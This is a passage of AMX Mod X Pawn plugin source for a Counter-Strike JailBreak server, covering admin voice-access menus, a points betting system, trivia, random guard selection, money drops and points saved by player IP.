- stock set_autoswitch_task(id, iMsgid)
- {
- new iParam[2];
- iParam[0] = iMsgid;
- set_task(0.1, "task_Autoswitch", id, iParam, sizeof(iParam));
- }
- stock bool:should_autojoin(id)
- {
- return ((5 > get_pcvar_num(tjm_join_team) > 0) && is_user_connected(id) && !(TEAM_NONE < g_iTeam[id] < TEAM_SPEC) && !task_exists(id));
- }
- stock bool:should_autoswitch(id)
- {
- return (get_pcvar_num(tjm_switch_team) && is_user_connected(id) && (TEAM_NONE < g_iTeam[id] < TEAM_SPEC) && !task_exists(id));
- }
- /*=====================================================
- Block Some Commands
- =====================================================*/
- public Block(id)
- {
- return PLUGIN_HANDLED;
- }
- public Block_2(id)
- {
- return (CS_TEAM_T <= cs_get_user_team(id) <= CS_TEAM_CT) ? PLUGIN_HANDLED : PLUGIN_CONTINUE
- }
- /* ---------------------------------------------------
- * ------------- GIVE ACCESS TO SPEACH --------------*/
- public AccessSpeachMenu(id)
- {
- if(get_user_flags(id) & ADMIN_CVAR) {
- new speachmenu = menu_create("\r[\w #FoN.Jail \r]\y access to Speach Menu", "ActionAccessSpeachMenu")
- new callback = menu_makecallback("MenuCallbackSpeach")
- menu_additem(speachmenu, "\yGive Access", "1")
- menu_additem(speachmenu, "\yRemove Access^n", "2")
- menu_additem(speachmenu, "\rGive Access to CT Team", "3",_, callback)
- menu_additem(speachmenu, "\rRemove Access to CT Team", "4")
- menu_display(id, speachmenu)
- } else
- ColorChat(id, "^4You have no access to that command")
- }
- public MenuCallbackSpeach()
- return mutect ? ITEM_ENABLED : ITEM_DISABLED
- public ActionAccessSpeachMenu(id, speachmenu, item)
- {
- if(item == MENU_EXIT) {
- menu_destroy(speachmenu)
- return
- }
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(speachmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch(Key)
- {
- case 1:
- {
- new speach_give = menu_create("\r[\w #FoN.Jail \r]\y Give access to Speach Menu", "ActionGiveSpeach")
- new players[32], pnum, tempid, szName[32], szTempid[10]
- get_players(players, pnum)
- for(new i; i<pnum; i++)
- {
- tempid = players[i]
- if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || get_bit(g_PlayerVoice, tempid))
- continue
- get_user_name(tempid, szName, 31)
- num_to_str(tempid, szTempid, 9)
- menu_additem(speach_give, szName, szTempid)
- }
- menu_display(id, speach_give)
- }
- case 2:
- {
- new speach_remove = menu_create("\r[\w #FoN.Jail \r]\y Remove access to Speach Menu", "ActionRemoveSpeach")
- new players[32], pnum, tempid, szName[32], szTempid[10]
- get_players(players, pnum)
- for(new i; i<pnum; i++)
- {
- tempid = players[i]
- if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || !(get_bit(g_PlayerVoice, tempid)))
- continue
- get_user_name(tempid, szName, 31)
- num_to_str(tempid, szTempid, 9)
- menu_additem(speach_remove, szName, szTempid)
- }
- menu_display(id, speach_remove)
- }
- case 3:
- {
- new name[33]
- get_user_name(id, name, 32)
- mutect = false
- ColorChat(0, "^3%s ^4Give Speach Access to all^3 CT Team", name)
- }
- case 4:
- {
- new name[33]
- get_user_name(id, name, 32)
- mutect = true
- ColorChat(0, "^3%s ^4Remove Speach Access to all^3 CT Team", name)
- }
- }
- menu_destroy(speachmenu)
- }
- public ActionGiveSpeach(id, speach_give, item)
- {
- if(item == MENU_EXIT) {
- AccessSpeachMenu(id)
- return
- }
- new data[6], iName[64]
- new _access, callback
- menu_item_getinfo(speach_give, item, _access, data,5, iName, 63, callback)
- new tempid = str_to_num(data)
- new szName[32], szName2[32]
- get_user_name(id, szName, 31)
- get_user_name(tempid, szName2, 31)
- set_bit(g_PlayerVoice, tempid)
- ColorChat(0, "^3%s ^4Give Speach Access to ^3%s", szName, szName2)
- menu_destroy(speach_give)
- }
- public ActionRemoveSpeach(id, speach_remove, item)
- {
- if(item == MENU_EXIT) {
- AccessSpeachMenu(id)
- return
- }
- new data[6], iName[64]
- new _access, callback
- menu_item_getinfo(speach_remove, item, _access, data,5, iName, 63, callback)
- new tempid = str_to_num(data)
- new szName[32], szName2[32]
- get_user_name(id, szName, 31)
- get_user_name(tempid, szName2, 31)
- clear_bit(g_PlayerVoice, tempid)
- ColorChat(0, "^3%s ^4Remove Speach Access to ^3%s", szName, szName2)
- menu_destroy(speach_remove)
- }
- public DropCMD(id)
- {
- if(is_user_alive(id)) {
- new weapon,clip,ammo,Float:velo[3]
- weapon = get_user_weapon(id,clip,ammo)
- if(weapon == CSW_KNIFE) {
- if(playerpoints[id] < 2)
- return PLUGIN_CONTINUE
- playerpoints[id] -= 2
- can_pickup[id] = false
- set_task(0.3,"reset_pick",id)
- new start_velo = 10 * 15
- new end_velo = 10 * 50
- velocity_by_aim(id,random_num(start_velo,end_velo),velo)
- make_money(id,velo)
- }
- }
- return nordeagleday ? PLUGIN_HANDLED : PLUGIN_CONTINUE
- }
- public Message_StatusIcon(iMsgId, iMsgDest, id)
- {
- static szIcon[8];
- get_msg_arg_string(2, szIcon, charsmax(szIcon));
- if( equal(szIcon, "buyzone") )
- {
- if( get_msg_arg_int(1) )
- {
- set_pdata_int(id, 235, get_pdata_int(id, 235) & ~(1<<0));
- return PLUGIN_HANDLED;
- }
- }
- return PLUGIN_CONTINUE;
- }
- public check_last()
- {
- new players[32], num, ct, t;
- get_players(players, num);
- TeamCount(ct, t);
- for(new i = 0; i < num; i++)
- {
- if(t == 1 && ct > 0 && cs_get_user_team(players[i]) == CS_TEAM_T && is_user_alive(players[i]))
- client_cmd(players[i], "say /lr")
- }
- }
- public TeamCount(&ct, &t)
- {
- for (new id=1; id <= maxPlayers; id++)
- {
- if(!is_user_connected(id) || !is_user_alive(id))
- {
- continue
- }
- if(cs_get_user_team(id) == CS_TEAM_T)
- {
- t++
- }
- else if(cs_get_user_team(id) == CS_TEAM_CT)
- {
- ct++
- }
- }
- }
- public ClientSendMessage(id) {
- new value1, value2, Result;
- new message[192], arg3[8], arg2[2], arg1[8];
- read_argv(1, message, sizeof(message));
- parse(message, arg1, sizeof(arg1), arg2, sizeof(arg2), arg3, sizeof(arg3));
- if(is_user_alive(id) && is_user_connected(id) && !is_user_hltv(id) && !is_user_bot(id))
- switch(get_user_team(id))
- {
- case 2:
- {
- if(is_str_num(arg1) && is_str_num(arg3))//(Thnks splass for minor bugfix)
- {
- value1 = str_to_num(arg1);
- value2 = str_to_num(arg3);
- if(equali(arg2, "+")) Result = value1 + value2;
- else if(equali(arg2, "-")) Result = value1 - value2;
- else if(equali(arg2, "*")) Result = value1 * value2;
- else if(equali(arg2, "/")) Result = value1 / value2;
- else return;
- formatex(g_Result, 8, "%i", Result);
- client_print(id, print_chat, "[Trivia] The Result: %i", Result);
- g_activated = true;
- } }
- case 1:
- {
- if(equali(message, g_Result) && g_activated)
- {
- new szName[32];
- get_user_name(id, szName, 31);
- client_print(0, print_chat, "[Trivia] %s Won At Trivia !", szName);
- set_hudmessage(255, 255, 0, -1.0, 0.27, 0, 6.0, 12.0)
- show_hudmessage(0, "%s Won At Trivia !", szName)
- g_activated = false;
- } } } }
- public GetRandomGuard()
- {
- new players[32], szName[32], iMaxTs, iMaxCTs;
- get_players(players, iMaxTs, "ae", "TERRORIST");
- get_players(players, iMaxCTs, "ae", "CT");
- if ( iMaxCTs < get_pcvar_num(g_Ratio) )
- {
- randGuard = players[random(iMaxTs)];
- if( !is_user_connected(randGuard) )
- {
- GetRandomGuard();
- return PLUGIN_HANDLED;
- }
- get_user_name(randGuard, szName, sizeof(szName)-1);
- user_silentkill( randGuard );
- cs_set_user_team( randGuard, CS_TEAM_CT);
- ExecuteHamB(Ham_CS_RoundRespawn, randGuard);
- set_hudmessage(255, 10, 0, -1.0, 0.05, 2, 6.0, 6.0);
- show_hudmessage(0, "%s is Randomly Picked to be the %s Guard !", szName, iMaxCTs > 1 ? "First" : "Second");
- set_task( 6.0, "GetRandomGuard" );
- }
- else
- {
- return PLUGIN_HANDLED;
- }
- return PLUGIN_CONTINUE;
- }
- /* ---------------------------------------------------
- * ------------------- BETS SYSTEM -------------------*/
- public MainMenuBet(id)
- {
- if(!get_cvar_num("bet_enable"))
- ColorChat(id, "^3bet^4 is not enabled")
- else
- {
- new Item[64]
- new bet_menu = menu_create("\r[\w #FoN.Jail \r]\y Bet System\d (Version 0.3)", "sub_MainMenuBet")
- new callback = menu_makecallback("MenuCallbackBet")
- menu_additem(bet_menu, "\yBet about \wCounter-Terrorist", "1")
- menu_additem(bet_menu, "\yBet about \wTerrorist", "2")
- menu_additem(bet_menu, "Betting Information", "3")
- formatex(Item, charsmax(Item), "Take all the Points in the CashBox\w(%i)", serverpoints)
- menu_additem(bet_menu, Item, "4", _, callback)
- menu_additem(bet_menu, "\rRESET Betting and CashBox", "5", _, callback)
- menu_display(id, bet_menu)
- }
- }
- public sub_MainMenuBet(id, bet_menu, item)
- {
- if(item == MENU_EXIT) {
- menu_destroy(bet_menu)
- return
- }
- new Data[7], Name[64], iName[32], Item[64], Access, Callback
- menu_item_getinfo(bet_menu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- get_user_name(id, iName, 31)
- switch(Key)
- {
- case 1,2:
- {
- if(!bet_pointed_out[id])
- {
- new bet_menuct
- formatex(Item, 63, "\r[\w #FoN.Jail \r]\y Bet about \w%s", Key == 1 ? "Counter-Terrorist" : "Terrorist")
- if(Key == 1) bet_menuct = menu_create(Item, "sub_MainMenuBetCT")
- else bet_menuct = menu_create(Item, "sub_MainMenuBetT")
- menu_additem(bet_menuct, "\yBet about \w10\y points", "1")
- menu_additem(bet_menuct, "\yBet about \w20\y points", "2")
- menu_additem(bet_menuct, "\yBet about \w30\y points", "3")
- menu_additem(bet_menuct, "\yBet about \w40\y points", "4")
- menu_additem(bet_menuct, "\yBet about \w50\y points", "5")
- menu_display(id, bet_menuct)
- }
- else
- ColorChat(id, "You have bet it this round")
- }
- case 3:
- {
- new bet_info = menu_create("\r[\w #FoN.Jail \r]\y Betting Information", "sub_InfoBet")
- new players[32], pnum
- new szName[32], szTempid[10]
- get_players(players, pnum)
- for(new i; i<pnum; i++)
- {
- if(!is_user_connected(players[i]) || !bet_pointed_out[players[i]] || bet_some[players[i]] == 0)
- continue
- get_user_name(players[i], szName, 31)
- num_to_str(players[i], szTempid, 9)
- formatex(Item, charsmax(Item), "\y%s\w Betting %d to %s", szName, bet_some[players[i]], bet_team[players[i]] == 1 ? "Counter-Terrorist" : "Terrorist")
- menu_additem(bet_info, Item, szTempid)
- }
- menu_display(id, bet_info)
- }
- case 4:
- {
- if(serverpoints > 1) {
- playerpoints[id] += serverpoints
- ColorChat(0, "^3%s^4 Taken all The Points that were CashBox^1(%i)", iName, serverpoints)
- serverpoints = 0
- } else {
- ColorChat(id, "^4CashBox have no points")
- MainMenuBet(id)
- }
- }
- case 5:
- {
- new players[32], pnum
- get_players(players, pnum)
- for(new i; i<pnum; i++) {
- bet_pointed_out[players[i]] = false
- bet_some[players[i]] = 0
- }
- serverpoints = 0
- ColorChat(0, "^4%s^4 RESET all Bettings and CashBox!", iName)
- }
- }
- }
- public sub_MainMenuBetCT(id, bet_menuct, item)
- {
- if(item == MENU_EXIT) {
- MainMenuBet(id)
- return
- }
- new Data[7], Name[64], iName[32], Access, Callback
- menu_item_getinfo(bet_menuct, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- get_user_name(id, iName, 31)
- bet_team[id] = 1 // CT
- switch(Key)
- {
- case 1:
- {
- if(playerpoints[id] < 10) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 10
- playerpoints[id] -= 10
- serverpoints += 10
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
- }
- }
- case 2:
- {
- if(playerpoints[id] < 20) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 20
- playerpoints[id] -= 20
- serverpoints += 20
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 20 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
- }
- }
- case 3:
- {
- if(playerpoints[id] < 30) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 30
- playerpoints[id] -= 30
- serverpoints += 30
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 30 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
- }
- }
- case 4:
- {
- if(playerpoints[id] < 40) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 40
- playerpoints[id] -= 40
- serverpoints += 40
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 40 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
- }
- }
- case 5:
- {
- if(playerpoints[id] < 50) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 50
- playerpoints[id] -= 50
- serverpoints += 50
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 50 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
- }
- }
- }
- }
- public sub_MainMenuBetT(id, bet_menuct, item)
- {
- if(item == MENU_EXIT)
- {
- MainMenuBet(id)
- return
- }
- new Data[7], Name[64], iName[32], Access, Callback
- menu_item_getinfo(bet_menuct, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- get_user_name(id, iName, 31)
- bet_team[id] = 2 // T
- switch(Key)
- {
- case 1:
- {
- if(playerpoints[id] < 10) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 10
- playerpoints[id] -= 10
- serverpoints += 10
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Terrorist", iName, playerpoints[id])
- }
- }
- case 2:
- {
- if(playerpoints[id] < 20) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 20
- playerpoints[id] -= 20
- serverpoints += 20
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 20 ^4points to ^3Terrorist", iName, playerpoints[id])
- }
- }
- case 3:
- {
- if(playerpoints[id] < 30) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 30
- playerpoints[id] -= 30
- serverpoints += 30
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 30 ^4points to ^3Terrorist", iName, playerpoints[id])
- }
- }
- case 4:
- {
- if(playerpoints[id] < 40) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 40
- playerpoints[id] -= 40
- serverpoints += 40
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 40 ^4points to ^3Terrorist", iName, playerpoints[id])
- }
- }
- case 5:
- {
- if(playerpoints[id] < 50) {
- ColorChat(id, "^4you dont have enough points")
- MainMenuBet(id)
- } else {
- bet_some[id] = 50
- playerpoints[id] -= 50
- serverpoints += 50
- bet_pointed_out[id] = true
- ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Terrorist", iName, playerpoints[id])
- }
- }
- }
- }
- public sub_InfoBet(id, bet_info, item)
- {
- if(item == MENU_EXIT)
- {
- MainMenuBet(id)
- return
- }
- new data[6], iName[64]
- new _access, callback
- menu_item_getinfo(bet_info, item, _access, data,5, iName, 63, callback)
- new tempid = str_to_num(data)
- new szName[32]
- get_user_name(tempid, szName, 31)
- MainMenuBet(id)
- ColorChat(id, "%s^1(%i) ^4Betting ^3%d^4 Points to ^3%s", szName, playerpoints[tempid], bet_some[tempid], bet_team[tempid] == 1 ? "Counter-Terrorist" : "Terrorist")
- menu_destroy(bet_info)
- }
- public MenuCallbackBet(id)
- return (get_user_flags(id) & ADMIN_CVAR) ? ITEM_ENABLED : ITEM_DISABLED
- public Action50(id)
- {
- if(!get_cvar_num("bet_enable"))
- ColorChat(id, "bet^4 is not enabled")
- else if(get_user_flags(id) & ADMIN_CVAR)
- {
- new name[32]
- get_user_name(id, name, 31)
- if(task_exists(4444))
- remove_task(4444)
- set_task(5.0, "sub_Action50")
- timer = 5
- ShowFiveSeconds(id)
- set_task(1.0,"ShowFiveSeconds",id,"",0,"a",4)
- client_cmd(0, "spk ^"vox/five^"")
- Show_Choose = 1
- set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 0.5, 0.5)
- show_hudmessage(0, "The 50:50 will started in 5 seccond^nBy %s", name)
- } else
- ColorChat(id, "^4You have no access to this")
- }
- public sub_Action50()
- {
- switch(random_num(1,10))
- {
- case 1,2,3,5,7,9: { // 40 : 60
- Show_Choose = 2
- set_hudmessage(255, 0, 0, -1.0, 0.42, 0, 10.0, 10.0)
- client_cmd(0, "spk ^"FoN/5050_no.wav^"")
- }
- case 4,6,8,10: { // 60 : 40
- Show_Choose = 1
- set_hudmessage(0, 0, 255, -1.0, 0.42, 0, 10.0, 10.0)
- client_cmd(0, "spk ^"FoN/5050_yes.wav^"")
- }
- }
- show_hudmessage(0, "The 50:50 Choose %s", Show_Choose == 1 ? "Yes" : "No")
- Show_Choose = 0
- }
- public EventSpray( )
- {
- new iPlayer = read_data(2), iOrigin[3]
- iOrigin[0] = read_data(3)
- iOrigin[1] = read_data(4)
- iOrigin[2] = read_data(5)
- new Float:vecOrigin[3]
- IVecFVec(iOrigin, vecOrigin)
- new Float:vecDirection[3]
- velocity_by_aim(iPlayer, 5, vecDirection)
- new Float:vecStop[3]
- xs_vec_add(vecOrigin, vecDirection, vecStop)
- xs_vec_mul_scalar(vecDirection, -1.0, vecDirection)
- new Float:vecStart[3]
- xs_vec_add( vecOrigin, vecDirection, vecStart)
- engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
- get_tr2(0, TR_vecPlaneNormal, vecDirection)
- vecDirection[2] = 0.0
- xs_vec_normalize( vecDirection, vecDirection)
- xs_vec_mul_scalar( vecDirection, 5.0, vecDirection)
- xs_vec_add(vecOrigin, vecDirection, vecStart)
- xs_vec_copy(vecStart, vecStop)
- vecStop[2] -= 9999.0
- engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
- get_tr2(0, TR_vecEndPos, vecStop)
- new szName[32]
- get_user_name(iPlayer, szName, charsmax( szName))
- if(g_iSprayMessages)
- ColorChat(0, "^4%s sprayed^4 %.1f units^1 above the^3 ground", szName, (vecStart[2] - vecStop[2]))
- else
- ColorChat(iPlayer, "You have sprayed^4 %.1f units^1 above the^3 ground", (vecStart[2] - vecStop[2]))
- }
- public ShowFiveSeconds(id)
- {
- new SecVoice[21], name[33]
- num_to_word(timer, SecVoice, 20)
- client_cmd(0, "spk ^"vox/%s seconds^"", SecVoice)
- get_user_name(id, name, 32)
- set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 0.5, 0.5)
- if(Show_Choose > 0)
- show_hudmessage(0, "The 50:50 will started in %d seccond^nBy %s", timer, name)
- else
- show_hudmessage(0, "The First writes will started in %d seccond^nBy %s", timer, name)
- timer--
- }
- public advert180() {
- set_dhudmessage(0, 255, 255, -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
- show_dhudmessage(0, "www.Run-Serv.co.il")
- client_cmd(0, "echo ^"www.Run-Serv.co.il^"")
- }
- public advert150() ColorChat(0, "^4www.Run-Serv.co.il")
- public make_money(id,Float:velo[]) {
- new Float:origin[3]
- new Float:angles[3]
- new Float:mins[3] = {-2.79, -0.0, -6.14}
- new Float:maxs[3] = {2.42, 1.99, 6.35}
- new newent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString,"info_target"))
- if(!is_user_alive(id)) {
- velo[0] = random_float(1.0,150.0)
- velo[1] = random_float(1.0,150.0)
- velo[2] = random_float(1.0,150.0)
- } else
- velo[2] += 100
- pev(newent,pev_angles,angles)
- angles[1] += random_num(1,360)
- pev(id,pev_origin,origin)
- set_pev(newent, pev_origin, origin)
- set_pev(newent, pev_classname, "pdm_money")
- engfunc(EngFunc_SetModel, newent, model)
- engfunc(EngFunc_SetSize,newent,mins,maxs)
- set_pev(newent,pev_angles,angles)
- set_pev(newent, pev_solid, SOLID_TRIGGER)
- set_pev(newent,pev_movetype,MOVETYPE_TOSS)
- set_pev(newent, pev_velocity,velo)
- engfunc(EngFunc_DropToFloor,newent)
- moneybox[newent]=2
- return FMRES_IGNORED
- }
- public player_Touch(touched, toucher) {
- if(pev_valid(touched) && is_user_alive(toucher) && can_pickup[toucher])
- {
- new classname[32]
- pev(touched, pev_classname, classname, sizeof classname - 1)
- if(equali(classname, "pdm_money")) {
- playerpoints[toucher] += moneybox[touched]
- client_cmd(toucher,"spk %s",money_sound1)
- if(pev_valid(touched))
- engfunc(EngFunc_RemoveEntity,touched)
- screen_fade(toucher)
- }
- }
- return FMRES_IGNORED
- }
- public screen_fade(id) {
- message_begin(MSG_ONE, g_MsgScreenFade, {0,0,0}, id)
- write_short(1<<12)
- write_short(1<<12)
- write_short(1<<12)
- write_byte(0)
- write_byte(200)
- write_byte(0)
- write_byte(20)
- message_end()
- }
- public EventStatusValue(const id) {
- new iType = read_data(1), iData = read_data(2)
- switch(iType) {
- case 1: g_bFriend = bool:(iData == 1)
- case 2: {
- new szMessage[99]
- formatex(szMessage, 98, g_bFriend ? "1 %%c1: %%p2 - %%h: %%i3%%%% - points: %i%s" : "1 %%c1: %%p2 - points: %i%s", playerpoints[iData], is_user_admin(iData) ? " (VIP)" : "")
- message_begin(MSG_ONE_UNRELIABLE, g_iMsgStatusText, _, id)
- write_byte(0)
- write_string(szMessage)
- message_end()
- }
- }
- }
- /* ---------------------------------------------------
- * ------------------ STOCK --------------------------*/
- stock SaveData(index)
- {
- if(playerpoints[index] <= 500) {
- gVault = nvault_open("JailBreak-Wows_shop")
- if(gVault == INVALID_HANDLE)
- set_fail_state("[ #FoN.Jail ] nValut ERROR: =-> Invalid-Handle")
- new gIP[33]
- get_user_ip(index, gIP, 32)
- formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
- formatex(vData, charsmax(vData), "%d", playerpoints[index])
- nvault_set(gVault, vKey, vData)
- nvault_close(gVault)
- } else {
- gVault = nvault_open("JailBreak-Wows_shop")
- if(gVault == INVALID_HANDLE)
- set_fail_state("[ #FoN.Jail ] nValut ERROR: =-> Invalid-Handle")
- new gIP[33]
- get_user_ip(index, gIP, 32)
- formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
- formatex(vData, charsmax(vData), "500")
- nvault_set(gVault, vKey, vData)
- nvault_close(gVault)
- }
- }
- stock LoadData(index)
- {
- gVault = nvault_open("JailBreak-Wows_shop")
- if(gVault == INVALID_HANDLE)
- set_fail_state("[ #FoN.Jail ] nValut ERROR: =-> Invalid-Handle")
- new gIP[33]
- get_user_ip(index, gIP, 32)
- formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
- playerpoints[index] = nvault_get(gVault, vKey)
- nvault_close(gVault)
- }
- stock Punch_View(id, Float:ViewAngle[3])
- entity_set_vector(id, EV_VEC_punchangle, ViewAngle)
- public RemoveCam(id) {
- cs_reset_user_model(id)
- ColorChat(id, "You're ^3Model^4 is now reset.")
- }
- public RemoveSpeed(id) {
- ResetMaxspeed(id)
- ColorChat(id, "You're ^3Speed^4 is now normal.")
- }
- public RemoveGravity(id) {
- entity_set_float(id, EV_FL_gravity, 1.0)
- ColorChat(id, "You're ^3Gravity^4 is now normal.")
- }
- public RemoveStealth(id) {
- fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 255)
- ColorChat(id, "You are now^3 visible.")
- }
- public RemoveGodmode(id) {
- fm_set_user_godmode(id)
- ColorChat(id, "You're ^3Godmode^4 is now 0.")
- }
- public RemoveNoclip(id) {
- fm_set_user_noclip(id)
- ColorChat(id, "You're ^3Noclip^4 is now 0.")
- }
- public RemoveFootsteps(id) {
- footstep[id] = false
- ColorChat(id, "Now Hear your ^3footsteps^1.")
- }
- public ShowSong(id) client_cmd(id, "spk ^"FoN/JB_Connect.wav^"")
- public spksecond() client_cmd(0, "spk ^"vox/seconds^"")
- public reset_pick(id) can_pickup[id] = true
- public _ShowDelay(id) --send_delay[id]
- public ShowMessage123() {
- new g_Message[512];
- static g_pos;
- g_pos = 0;
- new counter;
- new Players[32];
- new playerCount, i, player;
- get_players(Players, playerCount, "ach");
- for (i=0; i<playerCount; i++)
- {
- player = Players[i];
- if(is_user_connected(player) && get_user_team(player) == 2)
- {
- counter++;
- new szName[32];
- get_user_name(player, szName, 31);
- new armor = get_user_armor(player);
- switch(armor)
- {
- case 0: g_pos += formatex(g_Message[g_pos], 511-g_pos, "^n%s - (%iHP)", szName, get_user_health(player));
- default: g_pos += formatex(g_Message[g_pos], 511-g_pos, "^n%s - (%iHP)(%iARMOR)", szName, get_user_health(player), armor);
- }
- }
- }
- set_hudmessage(255, 0, 0, 0.03, 0.30, 0, 6.0, 0.6);
- ShowSyncHudMsg( 0, iHudMessage, "%d Alive Counter-Terrorist: ^n------------------------------^n %s", counter, g_Message);
- set_task(0.5, "ShowMessage123");
- }
- stock ColorChat(index, const Msg[], {Float, Sql, Result,_}:...) {
- new Buffer[190], Buffer2[192]
- formatex(Buffer2, sizeof(Buffer2)-1, "^3[^1 #FoN.Jail ^3]^1 %s", Msg)
- vformat(Buffer, sizeof(Buffer)-1, Buffer2, 3)
- if(!index) {
- for (new i = 1; i <= g_max_clients; i++) {
- if(!is_user_connected(i)) continue
- message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, i)
- write_byte(i)
- write_string(Buffer)
- message_end()
- }
- } else {
- if(!is_user_connected(index)) return
- message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, index)
- write_byte(index)
- write_string(Buffer)
- message_end()
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment